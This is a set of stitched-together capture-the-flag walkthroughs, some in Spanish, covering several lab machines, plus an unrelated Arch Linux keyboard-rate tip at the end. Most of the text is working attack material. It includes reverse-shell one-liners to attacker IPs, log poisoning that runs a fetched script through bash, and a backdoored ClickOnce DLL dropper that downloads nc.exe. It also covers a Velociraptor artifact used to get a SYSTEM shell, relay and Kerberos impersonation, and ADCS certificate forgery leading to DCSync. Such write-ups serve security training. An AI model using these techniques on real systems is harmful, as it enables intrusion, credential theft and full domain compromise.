getST.py -self -impersonate "Sharon.Birch" -altservice "HTTP/lus2dc.lustrous2.vl" -k -no-pass -dc-ip "10.129.214.125" "Lustrous2.vl/ShareSvc"

Lo exporto y verifico con klist:

export KRB5CCNAME=Sharon.Birch@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache

Si ahora abro el firefox desde la consola que exporte el ticket de Sharon:

Somos Sharon.Birch. Y tenemos disponible la funcionalidad de upload que habiamos visto previamente en el LuShare.dll, la cual estaba restringida por el rol de ShareAdmins.

Funcion “DEBUG”

Entre otras de las funciones que figuraba en el LuShare.dll estaba la funcion de DEBUG, la cual permitia mediante un PIN hardcodeado la ejecucion de comandos en Powershell.

Tambien vemos que solo permite la ejecucion hasta 100 chars. Mas nos da error.
Hagamos la prueba con un simple comando “DIR” y el PIN.

Funciona!, y obtenemos el listado de directorios y archivos actuales:

USER FLAG

Bueno antes de intentar darnos una revshell, podemos catear el user y sacar la flag localizada en la raiz de C:\.

Descargo el RCAT (by xct) en la victima y dejo un puerto a la escucha en la maquina atacante para obtener una revshell sin complicaciones.

Velociraptor Abuse

Enumerando ni bien tome la flag, me llamo la atencion esta carpeta instantaneamente:

Velociraptor es una herramienta para hacer respuesta a incidentes y análisis forense en una red. Te deja monitorear, investigar y ejecutar comandos en sistemas comprometidos. Tiene varios componentes:

• Hunts: Búsquedas forenses automáticas para recolectar datos.

• Artifacts: Plantillas para definir qué datos buscar y cómo.

• Server: Centraliza la gestión y los datos recolectados.

• Client: Agente que corre en cada máquina y ejecuta los comandos que le manda el servidor.

Verificando la documentacion oficial veo que escucha en el puerto 8889, por lo que si chequeo esto confirmo que en la maquina esta en estado de LISTENING.

Velociraptor Port Forwarding

Lo primero que necesitamos para trabajar comodos es traernos el puerto con CHISEL, desde windows podriamos ejecutar algo asi:

• ATTACKER IP:

./chisel server --reverse -p 1234

• VICTIM:

.\chisel.exe client --max-retry-count=1 10.10.14.24:1234 R:8889:127.0.0.1:8889

Ya con el puerto redireccionado, podemos acceder con el browser https://localhost:8889/ con credenciales de operator. (Para ser sincero probe todos los users y passwords por default y funciono)

Credenciales: operator:operator

Exploiting Velociraptor via Artifacts

Despues de leer un buen rato y tras prueba y error con la documentacion oficial, el siguiente link me fue de mucha utilidad: https://docs.velociraptor.app/artifact_references/pages/windows.system.cmdshell/

Resaltando lo siguiente:

El plan es crear un nuevo Artifact, luego seleccionar un hunter y aplicarle ese artifact que creamos para lanzarlo y obtener una shell privilegiada.

Basandome en el template de la documentacion creo lo siguiente (aprovechando el rcat.exe que esta en ProgramData):

Artifact creado: <SHKZ>

name: SHKZ
description: G1ve m3 SHell Plz

precondition:
  SELECT OS From info() where OS = 'windows'

parameters:
  - name: Command
    default: "C:\\ProgramData\\rcat.exe connect 10.10.14.24 10000"

sources:
  - query: |
      SELECT * FROM execve(argv=["cmd.exe", "/c", Command])

Luego me dirijo a agregar un Hunter y le asigno el Artifact que cree (SHKZ):

Por ultimo le doy a LAUNCH y luego en RUN, en segundos obtenemos la shell como SYSTEM:

Pwn3d!

22/tcp    open  ssh        syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
2222/tcp  open  java-rmi   syn-ack ttl 63 Java RMI
8080/tcp  open  http       syn-ack ttl 63 Apache Tomcat 10.1.19

Revisando la salida del NMAP vemos que hay un HTTP corriendo. Al parecer este puerto http (8080) solamente encontramos un Apache Tomcat por default. Nada interesante de momento.

PORT 2222/tcp

Si profundizo un poco con NMAP sobre este puerto, obtengo el siguiente resultado:

Este servicio es un Java RMI (Remote Method Invocation) ejecutándose en el puerto 2222, que permite a los objetos Java comunicarse y ejecutar métodos de manera remota.}

• JMX (Java Management Extensions)
  JMX facilita la gestión y supervisión de aplicaciones y recursos de Java. Permite el acceso y la manipulación de objetos gestionados llamados MBeans (Managed Beans), que exponen propiedades y métodos para su administración. JMX es utilizado para monitorear, configurar y gestionar aplicaciones tanto localmente como de manera remota.

Atacando JMX: Puerto 2222

Investigando el modo en el que podria abusar de este servicio, doy con una tool llamada Beanshooter, la cual es una herramienta de enumeración y ataque para JMX,
que ayuda a identificar vulnerabilidades comunes en los endpoints JMX. El repo lo pueden encontrar en el siguiente link: https://github.com/qtc-de/beanshooter.
Utilizando la siguiente version: beanshooter-4.1.0-jar-with-dependencies.jar, procedo a realizar un escaneo de enumeracion frente al Target:

java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.10.90.221 2222

Del output destaco dos hallazgos:

Al mismo tiempo al finalizar el escaneo me dumpea 2 credenciales. Para el username manager y para el admin.

Algo interesante que tiene la tool es que nos permite directamente generar una shell interactiva.
Procedo con los siguientes dos comandos para obtener shell:

java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.10.90.221 2222 tonka

java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell 10.10.90.221 2222

USER

Finalmente obtengo la shell como tomcat:

En el path /opt/tomcat obtengo el user.txt y saco la flag. Revisando los usuarios del sistema vemos los siguientes:

root:x:0:0:root:/root:/bin/bash
karl:x:1000:1000:karl green:/home/karl:/bin/bash
useradmin:x:1002:1002:,,,:/home/useradmin:/bin/bash

Tratando de reutilizar credenciales me doy cuenta que la shell no es estable y al hacer un comando como su useradmin, se queda freezada.
Tenemos dos opciones podriamos generar una revshell con algun C2 favorito o rapidamente un bash-revshell.

Con un netcat a la escucha del puerto 9000 me doy una revshell desde el target:

bash -c 'bash -i >& /dev/tcp/10.8.0.147/9000 0>&1'

Recibo revshell y procedo a intentar reutilizar las credenciales que obtuvimos al principio, parecen dar con el usuario useradmin sin embargo este parece tener un estilo OTP sobre su usuario el cual requiere de un codigo de verificacion, que hasta el momento no dispongo.

Escalando a useradmin.

Después de varias búsquedas me enfoco en archivos pertenecientes a useradmin y destaco dos files interesantes:

find /home -user useradmin -ls 2>/dev/null

-r------- 1 useradmin useradmin 164 Jul  9 06:03 .google_authenticator
-rw-rw-r-- 1 useradmin useradmin 3.1K Jun 21 16:50 backup.tar.gz

No podemos leer el primer archivo .google_authenticator, sin embargo si podemos ver el contenido del segundo. Lo copio hacia /tmp y trato de descomprimirlo.

cp backup.tar.gz /tmp
cd /tmp
tar xvzf backup.tar.gz

Recibo una serie de errores, sin embargo el archivo .google_authenticator se descomprime:

Al catearlo vemos que ya estamos en condiciones de escalar a useradmin.

ROOT via SUDOERS (admin group)

Ya una vez como useradmin, verificamos algunas cosas básicas y entre ellas el sudo -l :

Mediante sudo estamos permitidos a crear un nuevo usuario en el sistema. Se restringe a caracteres alfanumericos. Intente varias cosas, como crear una cuenta de system con sudo /usr/sbin/adduser test --system, o inyectar caracteres de ‘escape’. Todos los caminos conducian a un unico lugar y era el SUDOERS file, ubicado en /etc/sudoers. Como no tengo permiso para visualizarlo, busco una version ‘estandar’ de sistemas Linux Ubuntu. Estos lucen similar a lo siguiente:

En la linea 5 vemos que dice “los miembros de el ADMIN GROUP pueden obtener privilegios de ROOT”, y si verificamos en los grupos existentes del sistema no existe este grupo.
Cuando se crea un nuevo usuario en el sistema, automáticamente se crea un grupo con el mismo nombre. Por lo tanto, si agregamos un usuario llamado ‘admin’, se creará un grupo llamado ‘admin’ y el usuario ‘admin’ se añadirá a ese grupo automáticamente.

sudo /usr/sbin/adduser admin

Adding user `admin' ...
Adding new group `admin' (1004) ...
Adding new user `admin' (1004) with group `admin' ...
Creating home directory `/home/admin' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for admin
Enter the new value, or press ENTER for the default
        Full Name []: 
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n]

Intercambio al usuario ‘admin’ creado y ahora podemos ver que si hago un sudo -l

User admin may run the following commands on manage:
    (ALL) ALL

Solo basta con un sudo su y somos root.

Pwned.

The box had an LFI in a web dashboard that allowed log poisoning, leading to a shell as www-data. From there, I found sadm was a trusted user via rlogin, so I created a local user with the same name and logged in without a password. Inside, I attached to an open tmux session and grabbed sadm‘s password. Finally, using a sudo nano privilege, I escalated to root with a quick breakout.

INFO

I started with a basic scan and found this:

22/tcp  open  ssh
80/tcp  open  http
512/tcp open  exec
513/tcp open  login
514/tcp open  shell

FOOTHOLD

Port 80 was running a web server with a simple Reset button. I tried submitting admin and it worked. Captured the request using CAIDO and saw the password exposed in plain text.

LFI

After logging into the Dashboard, I saw this:

Checking how the data was being loaded, I found this:

file=%2Fvar%2Flog%2Fapache2%2Faccess.log

So I threw in a standard Linux LFI wordlist and got some hits:

Poisoning Logs

From what I saw, the dashboard was reading log files like syslog and auth.log, so I decided to try log poisoning.

Used this:

curl -A "<?php system('curl 10.10.14.61/rev.sh|bash'); ?>" http://10.129.184.161/

Then accessed the log via LFI like this:

file=../../../../../../../var/log/apache2/access.log

And got a shell!

We can cat the user.txt file as www-data, located at /home/sadm/user.txt.

While exploring, I noticed that sadm was listed as a trusted user. We can see that rlogin is set up through the /etc/hosts.equiv file, and that file is present on the box.

Another interesting thing is that we can see the user sadm has an active tmux session.

SADM USER | RLOGIN

To use rlogin, I saw that sadm was listed as a trusted user in /etc/hosts.equiv. So locally I created a user with the same name:

sudo useradd sadm
sudo passwd sadm

su sadm
rlogin 10.129.184.161

Logged in without password!

TMUX Session

I had already noticed that there was a tmux session running as sadm. For those who don’t know, tmux lets you have multiple terminal windows in one session and stay connected even if you close the shell:

tmux ls
sadm_session: 1 windows (created Wed Jul 16 03:25:31 2025)

tmux a -t sadm_session

And.. we got sadm password!

Password: 7lE2PAfVHfjz4HpE

PrivEsc to ROOT

Logged in as sadm using the found password. Checked for sudo rights:

sadm@reset:~$ sudo -l
Matching Defaults entries for sadm on reset:
    env_reset, timestamp_timeout=-1, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User sadm may run the following commands on reset:
    (ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
    (ALL) PASSWD: /usr/bin/tail /var/log/syslog
    (ALL) PASSWD: /usr/bin/tail /var/log/auth.log

The fact that I could run nano as sudo was perfect, just a classic breakout opportunity :D

sudo /usr/bin/nano /etc/firewall.sh

# Inside nano:
Ctrl + R
Ctrl + X

reset; sh 1>&0 2>&0

Alternative method I tried:

cp /bin/bash /tmp/bash && chmod +xs /tmp/shaka
cd /tmp/
./shaka -p

And got root access:

Pwned!

Backdooring a ClickOnce deployment, which led to code execution. 
SCCM Client Push Coercion to capture NTLM hashes, privesc using ADCS by forging a certificate 
and abusing it with PassTheCert to grant DCSync rights.

• DC01.push.vl

53/tcp   open  domain        Simple DNS Plus  
80/tcp   open  http          Microsoft IIS httpd 10.0  
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos  
135/tcp  open  msrpc         Microsoft Windows RPC  
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn  
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP  
443/tcp  open  https         SSL/TLS (likely IIS)  
445/tcp  open  microsoft-ds  SMB file sharing  
464/tcp  open  kpasswd5      Kerberos password change  
593/tcp  open  ncacn_http    RPC over HTTP  
636/tcp  open  ssl/ldap      LDAP over SSL  
3268/tcp open  ldap          Global Catalog LDAP  
3269/tcp open  ssl/ldap      Global Catalog LDAPS  
3389/tcp open  ms-wbt-server Microsoft Remote Desktop (RDP)  
5985/tcp open  http          WinRM (Windows Remote Management)

• MS01.push.vl

21/tcp   open  ftp           Microsoft ftpd (anonymous login allowed)  
80/tcp   open  http          Microsoft IIS httpd 10.0 (SelfService page)  
135/tcp  open  msrpc         Microsoft Windows RPC  
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn  
445/tcp  open  microsoft-ds  SMB file sharing  
3389/tcp open  ms-wbt-server Microsoft Remote Desktop (RDP)  
5985/tcp open  http          WinRM (Windows Remote Management)

FOOTHOLD

In our basic recon, I found that the IP address 10.10.217.101 corresponds to the Domain Controller DC01.push.vl. The second IP address, 10.10.217.102, resolves to MS01.push.vl.

I tried bruteforcing for valid users with kerbrute, but had no luck:

With nothing else immediately promising, I decided to focus on MS01, since NMAP shows that the FTP service allows ANONYMOUS login.

MS01 | FTP | Anonymous

We log in as the anonymous user on MS01 FTP service, and we see four directories available:

ftp anonymous@10.10.217.102

Three of the folders are empty, except for the .git-credentials. We download it and recover credentials for olivia.wood.

SMB Enum | olivia.wood

I enumerate shares and permissions using netexec and get the following:

The wwwroot share on MS01 has read/write permissions. I connect to it using smbclient.py:

smbclient.py push.vl/olivia.wood:'<REDACTED>'@10.10.217.102

Here is what I get when I list the contents. At first glance, there’s a folder named SelfService_1_0_0_5, and inside it, we find several .deploy files along with some DLLs..

Looks like this could be the deployed version of some .NET application and possibly the one running on the web interface.

• http://MS01.push.vl

If I quickly check and create a file called testing.html with the text “pepe”, I should be able to see it reflected on port 80. Let’s see:

What is ClickOnce?

ClickOnce is a Microsoft deployment technology that allows users to install and run applications directly from a browser with a single click, without needing admin privileges. It’s often used in enterprise environments, but can also be abused to execute malicious code.

If I check the last-run.txt, I can see the execution time updates. First it shows 4:41, then 4:45, confirming the app logs each run.

Based on the initial hints, this blog post can help us backdoor the ClickOnce app served over SMB. A user runs it every 3 o 4 minutes, so once modified, it should execute shortly after.

ClickOnce Abuse

According to the blog and summarizing the steps, here’s what we need to do to make it work.
I mounted the share under /mnt/ctf/ to work more comfortably.

• First, we patch the SelfService.dll.deploy with our payload and calculate its new SHA256 hash and size.

• Second, we update the SelfService.dll.manifest with those values, remove the publisherIdentity and signature block, and set the publicKeyToken to all zeroes.

• Finally, we update the SelfService.application manifest in the same way, adjusting the hash and size of the .manifest, and stripping the signature stuff there too.

Once that’s done, the app should execute our modified DLL without complaining.

Let’s go with our payload:

#include <windows.h>
#include <stdlib.h>

void dropper() {
    char cmd1[] = "curl http://10.8.0.147/nc.exe -o C:\\ProgramData\\svchost.exe";
    char cmd2[] = "C:\\ProgramData\\svchost.exe 10.8.0.147 9000 -e cmd.exe";
    WinExec(cmd1, SW_HIDE);
    Sleep(1200);
    WinExec(cmd2, SW_HIDE);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)dropper, NULL, 0, NULL);
    }
    return TRUE;
}

This drops nc.exe into C:\ProgramData\ and runs it to establish a reverse shell to our listener.

We compile it as a DLL using:

x86_64-w64-mingw32-gcc -o SelfService.dll.deploy SelfService.c -shared
# SelfService.dll.deploy

Then.. we calculate the SHA256 digest and update both the hash and the file size in the SelfService.dll.manifest:

openssl dgst -binary -sha256 SelfService.dll.deploy | openssl enc -base64
# wZWYtmlLFTb2a7/Y7e7b+Yh6dOQ7lB9zRoBXXXtmGHs=

Now we need to replace the publicKeyToken= found in <asmv1:assemblyIdentity with 16 zeroes:

We also need to update the DigestValue and size for SelfService.dll.manifest inside the SelfService.application file, and set the publicKeyToken to all zeroes:

openssl dgst -binary -sha256 SelfService.dll.manifest | openssl enc -base64
# 5+DEk6lBbruFSY8utYzVUbmv9jEeZ0ErxZpMdREbiCo=

Once that’s done, all that’s left is to upload the modified files and start our netcat listener along with a simple python http server.

Then just wait two minutes in my case.. and..

And there it is..we got a shell! :). We’re now inside as kelly.hill user, running from the ClickOnce path under AppData\Local\Apps.

Kelly.Hill | flag.txt

Now, if we move into kelly’s home directory, we find a similar situation: there’s a .git-credential file, and by reading it, we can extract her password.

And we get our flag.txt:

PS C:\users\kelly.hill\Desktop> type flag.txt

Bloodhound Time

After some enum, kelly.hill has pretty limited permissions. She’s part of basic groups like Users, Remote Desktop Users, and staff, nothing elevated. No admin rights, and just default privileges.

But.. some interesting with sccadmin shows up as a local admin, but I don’t have access to its home folder or permissions. Definitely a “key” user!.

SCCM | System Center Configuration Manager

Let’s pause for a second and give some quick context for those not familiar.

SCCM is a Microsoft tool used a lot in corporate environments. Basically, it helps IT teams manage all the devices in a network, like pushing software, deploying updates, applying policies, or even controlling some access.

If you’re inside a company and your PC suddenly installs stuff or changes config without you touching anything… yeah!, that’s probably SCCM doing its thing :D.

SCCM Coercion Attack

A good reference for this is the following post:
https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a

We are going to try an SCCM coercion to steal a hash. With SharpSCCM we can trigger a Client Push Installation and force the SCCM service account to authenticate to us. That account usually has local Admin Rights!.

.\SharpSCCM.exe invoke client-push -t 10.8.0.147 -sc HQ0 -mp DC01.push.vl

After running the coercion with SharpSCCM, we instantly capture the hashes for sccadmin:

Now we just need to crack it with hashcat:

SCCADMIN | flag.txt

Nice the password is cracked and now we can log in as sccadmin and cat the flag from the Administrator’s desktop:

PS C:\users\Administrator> type Desktop\flag.txt

ADCS | Golden Certificate

Looking a bit closer at the BloodHound graph, we can clearly see that ADCS is present!

Since we have RDP access as sccadmin, we can start enumerating the Certification Authority from inside to see what we can do with it…

At this point we’ve got admin access on the CA server, so we’re in a really good spot!!.
The move here is going for a Golden Certificate. Since we can dump the CA cert and its private key, that gives us the power to forge a legit certificate for any user, even a domain admin.

After checking Certipy’s post-exploitation guide from their official wiki (https://github.com/ly4k/Certipy/wiki/07-Post-Exploitation), we can do this pretty easily:

We’ll use Certipy to back up the CA certificate and its private key.

certipy ca -u sccadmin -p '<REDACTED>' -ns 10.10.217.102 -target-ip MS01.push.vl -backup

# Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Creating new service for backup operation
[*] Creating backup
[*] Retrieving backup
[*] Got certificate and private key
[*] Backing up original PFX/P12 to 'pfx.p12'
[*] Backed up original PFX/P12 to 'pfx.p12'
[*] Saving certificate and private key to 'CA.pfx'
[*] Wrote certificate and private key to 'CA.pfx'
[*] Cleaning up

Now that we have the certificate and private key, we can generate a forged cert with domain admin privileges:

certipy forge -ca-pfx CA.pfx -upn administrator@push.vl -subject 'CN=Administrator,CN=Users,DC=PUSH,DC=VL'

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Saving forged certificate and private key to 'administrator_forged.pfx'
[*] Wrote forged certificate and private key to 'administrator_forged.pfx'

Issues? What went wrong?

certipy auth -pfx administrator_forged.pfx -dc-ip 10.10.217.101

So, what’s the deal here?.. Even though we managed to forge the Golden Certificate just fine, when trying to request a TGT using PKINIT… nothing!!. Looks like the DC doesn’t support PKINIT.

PKINIT is a Kerberos extension that lets you use X.509 certificates for pre-auth. It’s super handy because it allows us to get a TGT or even the NT hash of a user just by using a certificate, no password needed :). But yeah, that option’s off the table! :(

There’s a great post that explains this kind of situation, where PKINIT isn’t supported https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html, but you still have the cert. I’m going to use PassTheCert (https://github.com/AlmondOffSec/PassTheCert/tree/main/Python) to give DCSync rights to sccadmin.

ROOT

I extracted the cert and key from the forged PFX file, then used PassTheCert to give DCSync rights to sccadmin. With that in place, I dumped the NTDS and hash for administrator access!.

certipy cert -pfx administrator_forged.pfx -nokey -out administrator.crt
certipy cert -pfx administrator_forged.pfx -nocert -out administrator.key

passthecert.py -action modify_user -crt administrator.crt -key administrator.key -domain push.vl -dc-ip 10.10.217.101 -target sccadmin -elevate

# [*] Granted user 'sccadmin' DCSYNC rights!

nxc smb 10.10.217.101 -u 'SCCADMIN' -p '<REDACTED>' --ntds --user administrator

Flag captured, box pwned!,
Thanks for reading.

❄️ NMAP & INFO

53     → domain (Simple DNS Plus)  
88     → kerberos-sec (Microsoft Windows Kerberos)  
135    → msrpc (Microsoft Windows RPC)  
139    → netbios-ssn (Microsoft Windows netbios-ssn)  
389    → ldap (Microsoft Windows Active Directory LDAP)  
445    → microsoft-ds?  
464    → kpasswd5?  
593    → ncacn_http (Microsoft Windows RPC over HTTP 1.0)  
636    → ssl/ldap (Microsoft Windows Active Directory LDAP)  
3268   → ldap (Microsoft Windows Active Directory LDAP)  
3269   → ssl/ldap (Microsoft Windows Active Directory LDAP)  
3389   → ms-wbt-server (Microsoft Terminal Services)

❄️ FOOTHOLD

Since we don’t have any credentials yet, I started by bruteforcing Kerberos usernames using kerbrute, which revealed two valid accounts:

• guest@retro.vl

• administrator@retro.vl

An attempt at an RPC null session didn’t give me anything useful. So instead, I tried an SMB null session, this time assuming the guest account might allow anonymous access.

That folder Trainees looks interesting, we got Read permissions:

SMB | Null Session

Using smbclient.py:

smbclient.py DC.retro.vl/guest:''@10.129.172.145

After reading that note in the smb share, I tried to enumerate system accounts using RID bruteforcing with netexec:

nxc smb 10.129.172.145 -u guest -p '' --rid-brute

I built a list of possible usernames and ran a brute-force attack, which gave me valid credentials/access..

SMB | Trainee | flag.txt

If I enumerate again using the newly obtained credentials, we get access to a new shared resource called Notes, where we have read permissions. If we connect via SMB, we’ll find two files:

• user.txt (our flag.txt)

• ToDo.txt

  

  Bloodhound Time

  After reading the ToDo.txt file, I run an enumeration with bloodhound-python to visualize all possible objects in the AD:

bloodhound-python -u 'trainee' -p '<REDACTED>' -ns 10.129.172.145 -d 'retro.vl' -c all --dns-tcp --zip

Based on the hint mentioning an old pre-created machine account, I found a computer object named BANKING.RETRO.VL.

Knowing that machine accounts often use a default format like Banking$, I started testing a few common passwords with brute-force:

After reading that post, the STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT error means the machine account password was reset or set to a default (like its lowercase name) after being pre-created or reset in AD, so it’s out of sync and no longer trusted by the domain!

By running:

changepasswd.py retro.vl/'BANKING$':banking@10.129.172.145 -newpass '<REDACTED>' -dc-ip 10.129.172.145 -p rpc-samr

I was able to change the machine account password successfully. Impacket’s changepasswd.py script lets you change a user’s password using LDAP, kpasswd, SMB, or RPC. Both SMB and RPC use the SAMR protocol, but since we can’t access the IPC$ share with the default password (as already seen), we go with rpc-samr, which doesn’t require SMB session setup.

ADCS | PrivEsc

After reviewing BloodHound again and changing the password for BANKING$, I enumerate with netexec to check for ADCS and see if we can abuse any templates.

The result confirms there’s a PKI Enrollment Server at DC.retro.vl, and the Certificate Authority is retro-DC-CA.

ADCS | Finding Vulnerable Certificates

By running:

certipy find -vulnerable -u BANKING$@DC.retro.vl -p "<REDACTED>" -target 10.129.172.145 -dc-ip 10.129.172.145 -stdout

ESC1 Abuse

Now we can abuse ESC1 using certipy like this:

certipy req -u 'BANKING$'@retro.vl -p '<REDACTED>' -ca retro-DC-CA -template RetroClients -upn administrator@retro.vl -dc-ip 10.129.172.145 -target-ip 10.129.172.145 -key-size 4096

Then I extract the hash like this and log in as administrator via evil-winrm:

evil-winrm -i 10.129.172.145 -u Administrator -H '<HASH>'

*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt

Pwned!

NMAP

22/tcp   open  ssh
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server

FOOTHOLD

After some basic tests didn’t return anything useful, I started enumerating with Kerbrute.
This dictionary should be enough, I usually use it among the defaults xato-net-10-million-usernames.txt:

• purple@shibuya.vl

• red@shibuya.vl

I created a file named users.txt and tried to use it with NetExec. NTLM auth didn’t work initially, so I tried Kerberos with -k flag:

nxc smb 10.129.62.234 -u users.txt -p <wordlist.txt> --shares --continue-on-success -k

Enumerating more domain users

We get a full list of domain accounts. Among them, the user svc_autojoin stands out because its description contains a plaintext password:

nxc smb 10.129.62.234 -u red -p '<REDACTED>' --users -k

Getting TGT | svc_autojoin

We got a ticket for the new user: svc_autojoin

getTGT.py shibuya.vl/svc_autojoin:'<REDACTED>' -dc-ip 10.129.62.234

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in svc_autojoin.ccache

Then, export and I checked it with klist and used Kerberos to connect via SMB:

export KRB5CCNAME=svc_autojoin.ccache
klist
smbclient.py AWSJPDC0522.shibuya.vl -k -no-pass

This user had access to images$ share. I listed and downloaded the .wim files:

smbclient.py svc_autojoin@shibuya.vl
# use images$
# get AWSJPWK0222-01.wim
# get AWSJPWK0222-02.wim
# get AWSJPWK0222-03.wim
# get vss-meta.cab

Extracting WIM files locally

We extract the .wim file using 7z to inspect its contents:

7z x AWSJPWK0222-01.wim

The first image mostly contains user profiles, but nothing useful. We repeat the process with the second WIM file, which turns out to include sensitive registry hives like SAM, SYSTEM, and SECURITY.

secretsdump.py -system SYSTEM -sam SAM -security SECURITY local

Hashes found

• Administrator (Of course not working)

• Guest

• DefaultAccount

• WDAGUtilityAccount

• operator (This is interesting!! :D)

• Simon.Watson (cached)

Assuming operator hash belongs to Simon.Watson since he’s the only user with a local profile.

USER.txt | SMB Access like Simon.Watson

Once we recover the hash, we test SMB access using it directly with smbclient.py:

smbclient.py simon.watson@AWSJPDC0522.shibuya.vl -hashes :<hash>

Access is successful, confirming that the hash is valid and usable. While browsing Simon’s home folder, we retrieve the user.txt flag directly:

get user.txt

SSH Persistence

We upload an SSH key to Simon’s profile to keep stable access. First, on the attacker machine, we generate the key pair and prepare the authorized_keys file:

ssh-keygen -t ed25519 -f simon -C "simon"
mv simon.pub authorized_keys
chmod 0600 simon

Here, simon is the private key (which we’ll use to connect), and we copy the contents of simon.pub into a file named authorized_keys.

Then, using SMB access, we go to Simon’s home folder and create the .ssh directory manually and upload the autorized_keys file:

mkdir .ssh
cd .ssh
put authorized_keys

This gives us persistent SSH access to the system using our private key. Remember, port 22 (SSH) was open since the initial NMAP scan!.

We connect via SSH:

ssh -i simon simon.watson@shibuya.vl

BloodHound Time

It’s only at this point in the box that I started doing some recon with BloodHound. Now that I have SSH access, the first thing I did was this:

ssh -i simon simon.watson@10.129.62.234 -D1080 -N

What I’m doing here: I’m creating a SOCKS proxy over SSH from my attacker machine to pivot traffic like LDAP through Simon’s access.

Now, by configuring proxychains to use that local SOCKS proxy, I can pull all the LDAP data for BloodHound straight from the DC:

proxychains nxc ldap AWSJPDC0522.shibuya.vl -u 'simon.watson' -H '<REDACTED>' --bloodhound -c all --dns-server 10.129.62.234

Lateral Movement: Nigel.Mills

After analyzing AD permissions with BloodHound, we confirm that the user ‘Nigel.Mills’ is a Tier 1 Admin and has RDP access. That makes him a high-value lateral movement target.

Once on the system, I try using evil-winrm to check for active sessions, but it doesn’t return anything useful. That’s because it runs under logon type 3 (network), which doesn’t allow us to see interactive sessions.

PS C:\ProgramData> qwinsta
No session exists for *

To get around that, I use ‘RunasCs.exe’ with logon type 9, which gives us a local token with full session visibility:

./runas.exe x x "qwinsta *" -l 9

This shows us a live session from ‘nigel.mills’ confirming he’s actively logged in. To move laterally and grab his NTLM hash, I use RemotePotato0 by Antonio Coco. (https://github.com/antonioCoco/RemotePotato0). We can perform a cross-session relay attack

Cross-Session Relay Attack

Cross-session relay attacks on Windows let you capture and reuse NTLM authentication from one user session into another. Basically, it allows a low-privileged user to hijack a higher-privileged session and act as that user.. without ever knowing their credentials!.

Attacker side

sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.129.62.234:8888

Victim side

.\rpotato.exe -m 2 -r 10.10.14.211 -x 10.10.14.211 -p 8888 -s 1

Nigel.Mills | Cracked Credentials

Finally from hashcat got Nigel.Mills credentials:

ADCS & Vulnerable Template Discovery

This machine has (ADCS) enabled. Now that we cracked Nigel.Mills credentials, we can use them to scan for vulnerable certificate templates with Certipy from our attack box:

certipy find -vulnerable -u NIGEL.MILLS@AWSJPDC0522.shibuya.vl -p "<REDACTED>" -target 10.129.62.234 -dc-ip 10.129.62.234 -stdout

We’ll focus on ESC1!.

ESC1 ABUSE

Because ‘nigel.mills’ is part of the ‘t1_admins’ group, he has permission to enroll for certificates using the vulnerable ShibuyaWeb template.

This means we can easily abuse ESC1 by requesting a certificate for a different user (in this case, _admin (Domain Admin)) and then authenticate as that user.

proxychains certipy req -u nigel.mills -p '<REDACTED>' -ca shibuya-AWSJPDC0522-CA -template ShibuyaWeb -upn _admin -dc-ip 10.129.62.234 -key-size 4096 -sid 'S-1-5-21-87560095-894484815-3652015022-500'

proxychains certipy auth -pfx _admin.pfx -domain shibuya.vl -username _admin -dc-ip 10.129.62.234

ROOT

Now that we’ve successfully authenticated as _admin by abusing ESC1, we can fully compromise the Domain Controller.

We connect via SMB with the _admin credentials and read the final flag:

proxychains nxc smb 10.129.62.234 -u _admin -H <REDACTED_HASH> -x 'type C:\Users\Administrator\Desktop\root.txt'

PWN3D!

Arch gives you full control over this. Here’s how to make your keyboard feel more responsive in both graphical (X11) sessions and the TTY console.

What are we changing?

• Delay: Time (in ms) before a key starts repeating when you hold it down.

• Rate: How many times per second it repeats once it starts.

Default settings are usually slow, around 500 ms delay and 25 Hz rate. Personally, I use xset r rate 200 40 as my current configuration and find it to be a great balance of speed and control. I prefer something like 200 ms delay and 40 Hz rate for a smoother experience.

X11 (Graphical Session)

You can check your current keyboard repeat settings with:

xset q

Look for the section that shows:

Keyboard Control:
  auto repeat delay:  200    repeat rate:  40

This confirms your current config.

Run this in your terminal:

xset r rate 200 40

This sets a 200ms delay and 40 key repeats per second.

Make it permanent

In my case, I added it to ~/.xprofile so it runs automatically when I log in.

TTY (Console without X)

For the TTY (Ctrl+Alt+F2 style consoles), use kbdrate:

sudo kbdrate -d 200 -r 40

This won’t survive a reboot, so let’s create a persistent systemd service.

1. Create the service file:

    sudo nano /etc/systemd/system/kbdrate.service
   

Paste this:

[Unit]
Description=Set keyboard delay and repeat rate for TTY

[Service]
Type=oneshot
ExecStart=/usr/bin/kbdrate -d 200 -r 40

[Install]
WantedBy=multi-user.target

2. Enable and start the service:

    sudo systemctl enable --now kbdrate.service
   

Done

